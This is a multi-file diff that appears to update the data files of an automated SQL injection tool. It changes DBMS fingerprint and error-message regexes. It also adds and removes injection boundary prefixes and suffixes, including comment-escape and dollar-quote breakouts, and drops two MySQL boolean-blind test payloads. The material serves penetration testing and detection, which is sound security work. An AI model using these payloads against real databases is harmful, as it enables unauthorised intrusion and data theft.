<signatures release="2014">
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
12.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
12.0.2000.8
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
0
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
12.0.4100.1
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
1
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
12.0.5000.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
2
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
12.0.6024.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
3
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
</signatures>
|
||||||
|
<signatures release="2012">
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
11.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
11.0.2100.60
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
0
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
11.0.3000.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
1
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
11.0.5058.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
2
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
11.0.6020.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
3
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
11.0.7001.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
4
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
</signatures>
|
||||||
<signatures release="2008 R2">
|
<signatures release="2008 R2">
|
||||||
<signature>
|
<signature>
|
||||||
<version>
|
<version>
|
||||||
|
|||||||
@@ -3,6 +3,7 @@
|
|||||||
<!--
|
<!--
|
||||||
References:
|
References:
|
||||||
* https://en.wikipedia.org/wiki/Debian_version_history
|
* https://en.wikipedia.org/wiki/Debian_version_history
|
||||||
|
* https://en.wikipedia.org/wiki/Ubuntu_version_history
|
||||||
-->
|
-->
|
||||||
|
|
||||||
<root>
|
<root>
|
||||||
@@ -76,4 +77,30 @@
|
|||||||
<info dbms_version="1" type="Linux" distrib="Debian" codename="testing"/>
|
<info dbms_version="1" type="Linux" distrib="Debian" codename="testing"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<!-- Ubuntu (release embedded in the package version, e.g. 8.0.36-0ubuntu0.22.04.1) -->
|
||||||
|
|
||||||
|
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.14\.04">
|
||||||
|
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="14.04" codename="trusty"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.16\.04">
|
||||||
|
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="16.04" codename="xenial"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.18\.04">
|
||||||
|
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="18.04" codename="bionic"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.20\.04">
|
||||||
|
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="20.04" codename="focal"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.22\.04">
|
||||||
|
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="22.04" codename="jammy"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="^([\d\.]+)[\-\_].*ubuntu\d+\.24\.04">
|
||||||
|
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="24.04" codename="noble"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
</root>
|
</root>
|
||||||
|
|||||||
@@ -76,7 +76,7 @@
|
|||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="laravel_session">
|
<regexp value="laravel_session">
|
||||||
<info technology="Laravel (PHP)"/>
|
<info technology="Laravel"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="SESS[a-f0-9]{32}">
|
<regexp value="SESS[a-f0-9]{32}">
|
||||||
|
|||||||
@@ -62,4 +62,8 @@
|
|||||||
<regexp value="Servlet[\-\_\/\ ]?([\d\.]+)">
|
<regexp value="Servlet[\-\_\/\ ]?([\d\.]+)">
|
||||||
<info technology="Servlet" tech_version="1"/>
|
<info technology="Servlet" tech_version="1"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Laravel">
|
||||||
|
<info technology="Laravel"/>
|
||||||
|
</regexp>
|
||||||
</root>
|
</root>
|
||||||
|
|||||||
+60
-61
@@ -55,6 +55,8 @@ Tag: <boundary>
|
|||||||
4: Double quoted string
|
4: Double quoted string
|
||||||
5: LIKE double quoted string
|
5: LIKE double quoted string
|
||||||
6: Identifier (e.g. column name)
|
6: Identifier (e.g. column name)
|
||||||
|
7: Block comment
|
||||||
|
8: Alternative quoted string (e.g. PostgreSQL $$...$$, Oracle q'[...]')
|
||||||
|
|
||||||
Sub-tag: <prefix>
|
Sub-tag: <prefix>
|
||||||
A string to prepend to the payload.
|
A string to prepend to the payload.
|
||||||
@@ -342,14 +344,6 @@ Formats:
|
|||||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||||
</boundary>
|
</boundary>
|
||||||
|
|
||||||
<boundary>
|
|
||||||
<level>5</level>
|
|
||||||
<clause>9</clause>
|
|
||||||
<where>1,2</where>
|
|
||||||
<ptype>2</ptype>
|
|
||||||
<prefix>") WHERE [RANDNUM]=[RANDNUM]</prefix>
|
|
||||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
|
||||||
</boundary>
|
|
||||||
|
|
||||||
<boundary>
|
<boundary>
|
||||||
<level>4</level>
|
<level>4</level>
|
||||||
@@ -414,41 +408,6 @@ Formats:
|
|||||||
<suffix>)+'</suffix>
|
<suffix>)+'</suffix>
|
||||||
</boundary>
|
</boundary>
|
||||||
|
|
||||||
<boundary>
|
|
||||||
<level>5</level>
|
|
||||||
<clause>9</clause>
|
|
||||||
<where>1</where>
|
|
||||||
<ptype>2</ptype>
|
|
||||||
<prefix>||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
|
|
||||||
<suffix>)||</suffix>
|
|
||||||
</boundary>
|
|
||||||
|
|
||||||
<boundary>
|
|
||||||
<level>5</level>
|
|
||||||
<clause>9</clause>
|
|
||||||
<where>1</where>
|
|
||||||
<ptype>2</ptype>
|
|
||||||
<prefix>||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
|
|
||||||
<suffix>)||</suffix>
|
|
||||||
</boundary>
|
|
||||||
|
|
||||||
<boundary>
|
|
||||||
<level>5</level>
|
|
||||||
<clause>9</clause>
|
|
||||||
<where>1</where>
|
|
||||||
<ptype>1</ptype>
|
|
||||||
<prefix>+(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
|
|
||||||
<suffix>)+</suffix>
|
|
||||||
</boundary>
|
|
||||||
|
|
||||||
<boundary>
|
|
||||||
<level>5</level>
|
|
||||||
<clause>9</clause>
|
|
||||||
<where>1</where>
|
|
||||||
<ptype>2</ptype>
|
|
||||||
<prefix>+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
|
|
||||||
<suffix>)+</suffix>
|
|
||||||
</boundary>
|
|
||||||
<!-- End of pre-WHERE generic boundaries -->
|
<!-- End of pre-WHERE generic boundaries -->
|
||||||
|
|
||||||
<!-- Pre-WHERE derived table boundaries - e.g. "SELECT * FROM (SELECT column FROM table WHERE column LIKE '%$_REQUEST["name"]%') AS t1"-->
|
<!-- Pre-WHERE derived table boundaries - e.g. "SELECT * FROM (SELECT column FROM table WHERE column LIKE '%$_REQUEST["name"]%') AS t1"-->
|
||||||
@@ -461,14 +420,6 @@ Formats:
|
|||||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||||
</boundary>
|
</boundary>
|
||||||
|
|
||||||
<boundary>
|
|
||||||
<level>5</level>
|
|
||||||
<clause>1</clause>
|
|
||||||
<where>1,2</where>
|
|
||||||
<ptype>2</ptype>
|
|
||||||
<prefix>")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
|
|
||||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
|
||||||
</boundary>
|
|
||||||
|
|
||||||
<boundary>
|
<boundary>
|
||||||
<level>5</level>
|
<level>5</level>
|
||||||
@@ -510,21 +461,25 @@ Formats:
|
|||||||
<level>4</level>
|
<level>4</level>
|
||||||
<clause>1</clause>
|
<clause>1</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<ptype>1</ptype>
|
<ptype>6</ptype>
|
||||||
<prefix>` WHERE [RANDNUM]=[RANDNUM]</prefix>
|
<prefix>` WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||||
</boundary>
|
</boundary>
|
||||||
|
|
||||||
<boundary>
|
|
||||||
<level>5</level>
|
|
||||||
<clause>1</clause>
|
|
||||||
<where>1</where>
|
|
||||||
<ptype>1</ptype>
|
|
||||||
<prefix>`) WHERE [RANDNUM]=[RANDNUM]</prefix>
|
|
||||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
|
||||||
</boundary>
|
|
||||||
<!-- End of pre-WHERE derived table boundaries -->
|
<!-- End of pre-WHERE derived table boundaries -->
|
||||||
|
|
||||||
|
<!-- Block-comment escape: injection point sits INSIDE /* ... */ (e.g. a query tag / trace / tenant
|
||||||
|
annotation). '*/' terminates the app comment, the test runs, '/*' re-opens a comment that the
|
||||||
|
app's original '*/' closes. Inert (stays inside the literal) when the value is not in a comment. -->
|
||||||
|
<boundary>
|
||||||
|
<level>4</level>
|
||||||
|
<clause>1,2,3</clause>
|
||||||
|
<where>1,2</where>
|
||||||
|
<ptype>7</ptype>
|
||||||
|
<prefix>*/</prefix>
|
||||||
|
<suffix>/*</suffix>
|
||||||
|
</boundary>
|
||||||
|
|
||||||
<!-- Escaped column name (e.g. SELECT `...` FROM table) boundaries -->
|
<!-- Escaped column name (e.g. SELECT `...` FROM table) boundaries -->
|
||||||
<boundary>
|
<boundary>
|
||||||
<level>4</level>
|
<level>4</level>
|
||||||
@@ -558,7 +513,7 @@ Formats:
|
|||||||
<level>5</level>
|
<level>5</level>
|
||||||
<clause>7</clause>
|
<clause>7</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<ptype>3</ptype>
|
<ptype>6</ptype>
|
||||||
<prefix> [RANDSTR1],</prefix>
|
<prefix> [RANDSTR1],</prefix>
|
||||||
<suffix> [RANDSTR2]</suffix>
|
<suffix> [RANDSTR2]</suffix>
|
||||||
</boundary>
|
</boundary>
|
||||||
@@ -573,4 +528,48 @@ Formats:
|
|||||||
<suffix>#</suffix>
|
<suffix>#</suffix>
|
||||||
</boundary>
|
</boundary>
|
||||||
<!-- End of AGAINST boolean full-text search boundaries -->
|
<!-- End of AGAINST boolean full-text search boundaries -->
|
||||||
|
|
||||||
|
<!-- Alternative quoted string delimiters where ' and " have no terminating effect:
|
||||||
|
PostgreSQL $$...$$ dollar quoting, Oracle q'[...]' / q'{...}' / q'(...)' / q'<...>'. -->
|
||||||
|
<boundary>
|
||||||
|
<level>5</level>
|
||||||
|
<clause>1</clause>
|
||||||
|
<where>1,2</where>
|
||||||
|
<ptype>8</ptype>
|
||||||
|
<prefix>$$</prefix>
|
||||||
|
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||||
|
</boundary>
|
||||||
|
<boundary>
|
||||||
|
<level>5</level>
|
||||||
|
<clause>1</clause>
|
||||||
|
<where>1,2</where>
|
||||||
|
<ptype>8</ptype>
|
||||||
|
<prefix>]'</prefix>
|
||||||
|
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||||
|
</boundary>
|
||||||
|
<boundary>
|
||||||
|
<level>5</level>
|
||||||
|
<clause>1</clause>
|
||||||
|
<where>1,2</where>
|
||||||
|
<ptype>8</ptype>
|
||||||
|
<prefix>}'</prefix>
|
||||||
|
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||||
|
</boundary>
|
||||||
|
<boundary>
|
||||||
|
<level>5</level>
|
||||||
|
<clause>1</clause>
|
||||||
|
<where>1,2</where>
|
||||||
|
<ptype>8</ptype>
|
||||||
|
<prefix>)'</prefix>
|
||||||
|
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||||
|
</boundary>
|
||||||
|
<boundary>
|
||||||
|
<level>5</level>
|
||||||
|
<clause>1</clause>
|
||||||
|
<where>1,2</where>
|
||||||
|
<ptype>8</ptype>
|
||||||
|
<prefix>>'</prefix>
|
||||||
|
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||||
|
</boundary>
|
||||||
|
<!-- End of alternative quoted string boundaries -->
|
||||||
</root>
|
</root>
|
||||||
|
|||||||
+53
-8
@@ -2,6 +2,9 @@
|
|||||||
|
|
||||||
<root>
|
<root>
|
||||||
<dbms value="MySQL">
|
<dbms value="MySQL">
|
||||||
|
<error regexp="org\.apache\.doris\." fork="Doris"/>
|
||||||
|
<error regexp="com\.starrocks\." fork="StarRocks"/>
|
||||||
|
<error regexp="Getting syntax error (at|from) line \d+, column \d+" fork="StarRocks"/>
|
||||||
<error regexp="SQL syntax.*?MySQL"/>
|
<error regexp="SQL syntax.*?MySQL"/>
|
||||||
<error regexp="Warning.*?\Wmysqli?_"/>
|
<error regexp="Warning.*?\Wmysqli?_"/>
|
||||||
<error regexp="MySQLSyntaxErrorException"/>
|
<error regexp="MySQLSyntaxErrorException"/>
|
||||||
@@ -9,30 +12,44 @@
|
|||||||
<error regexp="check the manual that (corresponds to|fits) your MySQL server version"/>
|
<error regexp="check the manual that (corresponds to|fits) your MySQL server version"/>
|
||||||
<error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/>
|
<error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/>
|
||||||
<error regexp="check the manual that (corresponds to|fits) your Drizzle server version" fork="Drizzle"/>
|
<error regexp="check the manual that (corresponds to|fits) your Drizzle server version" fork="Drizzle"/>
|
||||||
|
<error regexp="check the manual that (corresponds to|fits) your TiDB server version" fork="TiDB"/>
|
||||||
<error regexp="Unknown column '[^ ]+' in 'field list'"/>
|
<error regexp="Unknown column '[^ ]+' in 'field list'"/>
|
||||||
<error regexp="MySqlClient\."/>
|
<error regexp="MySqlClient\."/>
|
||||||
<error regexp="com\.mysql\.jdbc"/>
|
<error regexp="com\.mysql\.jdbc"/>
|
||||||
<error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/>
|
<error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/>
|
||||||
<error regexp="Pdo[./_\\]Mysql"/>
|
<error regexp="Pdo[./_\\]Mysql"/>
|
||||||
<error regexp="MySqlException"/>
|
<error regexp="MySqlException"/>
|
||||||
|
<error regexp="pymysql\.err\."/>
|
||||||
|
<error regexp="MySQLdb\.(_exceptions\.|\w+Error)"/>
|
||||||
<error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
|
<error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
|
||||||
<error regexp="is not supported by MemSQL" fork="MemSQL"/>
|
<error regexp="is not supported by MemSQL" fork="MemSQL"/>
|
||||||
<error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
|
<error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="PostgreSQL">
|
<dbms value="PostgreSQL">
|
||||||
|
<error regexp="crdb_internal\." fork="CockroachDB"/>
|
||||||
|
<error regexp="github\.com/cockroachdb/cockroach/pkg/sql" fork="CockroachDB"/>
|
||||||
|
<error regexp="com\.yugabyte\.(util\.PSQLException|core\.v3)" fork="YugabyteDB"/>
|
||||||
|
<error regexp="\(yb/\w+/\w+\.cc:\d+\)" fork="YugabyteDB"/>
|
||||||
|
<error regexp="org\.opengauss\.(util\.PSQLException|core\.v3)" fork="OpenGauss"/>
|
||||||
|
<error regexp="(duckdb\.duckdb|_duckdb)\.(Parser|Binder|Catalog|Conversion)Exception" fork="DuckDB"/>
|
||||||
|
<error regexp="org\.duckdb\.DuckDB" fork="DuckDB"/>
|
||||||
|
<error regexp="Parser Error: [^\n]{0,40}at or near" fork="DuckDB"/>
|
||||||
|
<error regexp="(Catalog Error: Table with name|Binder Error: Referenced column)" fork="DuckDB"/>
|
||||||
<error regexp="PostgreSQL.*?ERROR"/>
|
<error regexp="PostgreSQL.*?ERROR"/>
|
||||||
<error regexp="Warning.*?\Wpg_"/>
|
<error regexp="Warning.*?\Wpg_"/>
|
||||||
<error regexp="valid PostgreSQL result"/>
|
<error regexp="valid PostgreSQL result"/>
|
||||||
<error regexp="Npgsql\."/>
|
<error regexp="Npgsql\."/>
|
||||||
<error regexp="PG::SyntaxError:"/>
|
<error regexp="PG::SyntaxError:"/>
|
||||||
<error regexp="org\.postgresql\.util\.PSQLException"/>
|
<error regexp="org\.postgresql\.util\.PSQLException"/>
|
||||||
<error regexp="ERROR:\s\ssyntax error at or near"/>
|
<error regexp="ERROR:\s+syntax error at or near"/>
|
||||||
<error regexp="ERROR: parser: parse error at or near"/>
|
<error regexp="ERROR: parser: parse error at or near"/>
|
||||||
<error regexp="PostgreSQL query failed"/>
|
<error regexp="PostgreSQL query failed"/>
|
||||||
<error regexp="org\.postgresql\.jdbc"/>
|
<error regexp="org\.postgresql\.jdbc"/>
|
||||||
<error regexp="Pdo[./_\\]Pgsql"/>
|
<error regexp="Pdo[./_\\]Pgsql"/>
|
||||||
<error regexp="PSQLException"/>
|
<error regexp="PSQLException"/>
|
||||||
|
<error regexp="psycopg2?\.(errors\.|\w+Error)"/>
|
||||||
|
<error regexp="asyncpg\.(exceptions\.|\w+Error)"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="Microsoft SQL Server">
|
<dbms value="Microsoft SQL Server">
|
||||||
@@ -77,6 +94,8 @@
|
|||||||
<error regexp="Zend_Db_(Adapter|Statement)_Oracle_Exception"/>
|
<error regexp="Zend_Db_(Adapter|Statement)_Oracle_Exception"/>
|
||||||
<error regexp="Pdo[./_\\](Oracle|OCI)"/>
|
<error regexp="Pdo[./_\\](Oracle|OCI)"/>
|
||||||
<error regexp="OracleException"/>
|
<error regexp="OracleException"/>
|
||||||
|
<error regexp="cx_Oracle\.\w+Error"/>
|
||||||
|
<error regexp="oracledb\.(exceptions\.|\w+Error)"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="IBM DB2">
|
<dbms value="IBM DB2">
|
||||||
@@ -104,7 +123,7 @@
|
|||||||
|
|
||||||
<!-- Interbase/Firebird -->
|
<!-- Interbase/Firebird -->
|
||||||
<dbms value="Firebird">
|
<dbms value="Firebird">
|
||||||
<error regexp="Dynamic SQL Error"/>
|
<error regexp="Dynamic SQL Error.{1,10}SQL error code"/>
|
||||||
<error regexp="Warning.*?\Wibase_"/>
|
<error regexp="Warning.*?\Wibase_"/>
|
||||||
<error regexp="org\.firebirdsql\.jdbc"/>
|
<error regexp="org\.firebirdsql\.jdbc"/>
|
||||||
<error regexp="Pdo[./_\\]Firebird"/>
|
<error regexp="Pdo[./_\\]Firebird"/>
|
||||||
@@ -122,14 +141,15 @@
|
|||||||
<error regexp="org\.sqlite\.JDBC"/>
|
<error regexp="org\.sqlite\.JDBC"/>
|
||||||
<error regexp="Pdo[./_\\]Sqlite"/>
|
<error regexp="Pdo[./_\\]Sqlite"/>
|
||||||
<error regexp="SQLiteException"/>
|
<error regexp="SQLiteException"/>
|
||||||
|
<error regexp="SqliteError:"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="SAP MaxDB">
|
<dbms value="SAP MaxDB">
|
||||||
<error regexp="SQL error.*?POS([0-9]+)"/>
|
<error regexp="SQL[- ]error.*?POS\(\d+\)"/>
|
||||||
<error regexp="Warning.*?\Wmaxdb_"/>
|
<error regexp="Warning.*?\Wmaxdb_"/>
|
||||||
<error regexp="DriverSapDB"/>
|
<error regexp="DriverSapDB"/>
|
||||||
<error regexp="-3014.*?Invalid end of SQL statement"/>
|
<error regexp="-3014.*?Invalid end of SQL statement"/>
|
||||||
<error regexp="com\.sap\.dbtech\.jdbc"/>
|
<error regexp="com\.sap\.db(tech)?\.jdbc"/>
|
||||||
<error regexp="\[-3008\].*?: Invalid keyword or missing delimiter"/>
|
<error regexp="\[-3008\].*?: Invalid keyword or missing delimiter"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
@@ -164,13 +184,14 @@
|
|||||||
|
|
||||||
<dbms value="H2">
|
<dbms value="H2">
|
||||||
<error regexp="org\.h2\.jdbc"/>
|
<error regexp="org\.h2\.jdbc"/>
|
||||||
<error regexp="\[42000-192\]"/>
|
<error regexp="\[42000-\d+\]"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="MonetDB">
|
<dbms value="MonetDB">
|
||||||
<error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
|
<error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
|
||||||
<error regexp="\[MonetDB\]\[ODBC Driver"/>
|
<error regexp="\[MonetDB\]\[ODBC Driver"/>
|
||||||
<error regexp="nl\.cwi\.monetdb\.jdbc"/>
|
<error regexp="nl\.cwi\.monetdb\.jdbc"/>
|
||||||
|
<error regexp="org\.monetdb\.jdbc"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="Apache Derby">
|
<dbms value="Apache Derby">
|
||||||
@@ -194,6 +215,7 @@
|
|||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="Presto">
|
<dbms value="Presto">
|
||||||
|
<error regexp="io\.trino\.(jdbc|spi)\." fork="Trino"/>
|
||||||
<error regexp="com\.facebook\.presto\.jdbc"/>
|
<error regexp="com\.facebook\.presto\.jdbc"/>
|
||||||
<error regexp="io\.prestosql\.jdbc"/>
|
<error regexp="io\.prestosql\.jdbc"/>
|
||||||
<error regexp="com\.simba\.presto\.jdbc"/>
|
<error regexp="com\.simba\.presto\.jdbc"/>
|
||||||
@@ -211,15 +233,20 @@
|
|||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="ClickHouse">
|
<dbms value="ClickHouse">
|
||||||
<error regexp="Code: \d+. DB::Exception:"/>
|
<error regexp="Code: \d+[., ]+DB::Exception:"/>
|
||||||
<error regexp="Syntax error: failed at position \d+"/>
|
<error regexp="Syntax error: failed at position \d+"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="CrateDB">
|
<dbms value="CrateDB">
|
||||||
<error regexp="io\.crate\.client\.jdbc"/>
|
<error regexp="io\.crate\."/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<dbms value="Cache">
|
<dbms value="Cubrid">
|
||||||
|
<error regexp="\[CAS INFO"/>
|
||||||
|
<error regexp="cubrid\.jdbc\.driver"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="InterSystems Cache">
|
||||||
<error regexp="encountered after end of query"/>
|
<error regexp="encountered after end of query"/>
|
||||||
<error regexp="A comparison operator is required here"/>
|
<error regexp="A comparison operator is required here"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
@@ -236,4 +263,22 @@
|
|||||||
<error regexp="Virtuoso S0002 Error"/>
|
<error regexp="Virtuoso S0002 Error"/>
|
||||||
<error regexp="\[(Virtuoso Driver|Virtuoso iODBC Driver)\]\[Virtuoso Server\]"/>
|
<error regexp="\[(Virtuoso Driver|Virtuoso iODBC Driver)\]\[Virtuoso Server\]"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Snowflake">
|
||||||
|
<error regexp="001003 \(42000\):"/>
|
||||||
|
<error regexp="100038 \(22018\):"/>
|
||||||
|
<error regexp="000904 \(42000\):"/>
|
||||||
|
<error regexp="SQL compilation error: (syntax )?error line \d+ at position \d+"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Spanner">
|
||||||
|
<error regexp="type.googleapis.com/zetasql.ErrorMessageModeForPayload"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="SAP HANA">
|
||||||
|
<error regexp="SAP DBTech JDBC"/>
|
||||||
|
<error regexp="invalid number: not a valid number string"/>
|
||||||
|
<error regexp="sql syntax error:.*?\(at pos \d+\)"/>
|
||||||
|
<error regexp="inserted value too large for column"/>
|
||||||
|
</dbms>
|
||||||
</root>
|
</root>
|
||||||
|
|||||||
@@ -598,7 +598,7 @@ Tag: <test>
|
|||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)</title>
|
<title>SQLite AND boolean-based blind - WHERE or HAVING clause (JSON)</title>
|
||||||
<stype>1</stype>
|
<stype>1</stype>
|
||||||
<level>2</level>
|
<level>2</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
@@ -617,7 +617,7 @@ Tag: <test>
|
|||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>SQLite OR boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)</title>
|
<title>SQLite OR boolean-based blind - WHERE or HAVING clause (JSON)</title>
|
||||||
<stype>1</stype>
|
<stype>1</stype>
|
||||||
<level>3</level>
|
<level>3</level>
|
||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
@@ -1109,46 +1109,6 @@ Tag: <test>
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
|
||||||
<title>MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause</title>
|
|
||||||
<stype>1</stype>
|
|
||||||
<level>3</level>
|
|
||||||
<risk>1</risk>
|
|
||||||
<clause>2,3</clause>
|
|
||||||
<where>1</where>
|
|
||||||
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
|
||||||
<request>
|
|
||||||
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
|
||||||
</request>
|
|
||||||
<response>
|
|
||||||
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
|
||||||
</response>
|
|
||||||
<details>
|
|
||||||
<dbms>MySQL</dbms>
|
|
||||||
<dbms_version>< 5.0</dbms_version>
|
|
||||||
</details>
|
|
||||||
</test>
|
|
||||||
|
|
||||||
<test>
|
|
||||||
<title>MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)</title>
|
|
||||||
<stype>1</stype>
|
|
||||||
<level>4</level>
|
|
||||||
<risk>1</risk>
|
|
||||||
<clause>2,3</clause>
|
|
||||||
<where>1</where>
|
|
||||||
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
|
||||||
<request>
|
|
||||||
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
|
||||||
</request>
|
|
||||||
<response>
|
|
||||||
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
|
||||||
</response>
|
|
||||||
<details>
|
|
||||||
<dbms>MySQL</dbms>
|
|
||||||
<dbms_version>< 5.0</dbms_version>
|
|
||||||
</details>
|
|
||||||
</test>
|
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
